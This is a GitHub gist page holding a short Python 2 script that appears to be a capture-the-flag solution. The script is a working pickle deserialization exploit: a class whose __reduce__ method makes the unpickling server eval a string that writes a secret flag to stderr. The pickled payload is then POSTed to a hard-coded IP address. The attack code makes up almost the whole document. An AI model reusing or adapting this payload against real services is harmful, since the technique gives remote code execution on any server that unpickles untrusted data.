Skip to content

Instantly share code, notes, and snippets.

@cubarco
Created December 30, 2015 04:10
Show Gist options
  • Save cubarco/e46eb03e1cd06046d130 to your computer and use it in GitHub Desktop.
Save cubarco/e46eb03e1cd06046d130 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
# coding=utf8
import urllib2
import pickle
class Payload(object):
def __reduce__(self):
comm = "sys.stderr.write(__import__('__main__').flag.flag)"
return (eval, (comm, ))
data = pickle.dumps(Payload())
print data
print urllib2.urlopen('http://136.243.194.43/', data=data).read()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment